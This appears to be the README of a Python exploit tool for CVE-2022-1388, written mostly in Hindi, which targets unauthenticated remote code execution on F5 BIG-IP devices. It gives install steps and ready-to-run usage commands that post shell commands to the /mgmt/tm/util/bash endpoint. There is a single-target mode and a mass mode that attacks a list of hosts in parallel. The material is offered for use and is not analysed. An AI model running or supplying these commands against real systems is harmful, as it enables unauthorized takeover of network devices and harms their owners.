revanmalang/cve-2022-1388Python-आधारित एक्सप्लॉइट CVE-2022-1388 के लिए, जो F5 BIG-IP डिवाइसों पर तैयार किए गए API अनुरोधों के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन सक्षम करता है, और एकल तथा सामूहिक लक्ष्य मोड का समर्थन करता है।
python3 -m pip install -r requirements.txt
एकल :
python3 cve.py s [fullurl] [api_command]
#example
python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '{"command":"run","utilCmdArgs":"-c id"}'
सामूहिक :
python3 cve.py m [host list] [endpoint] [api_command] [pool]
#example
python3 cve.py m host.txt /mgmt/tm/util/bash '{"command":"run","utilCmdArgs":"-c id"}' 10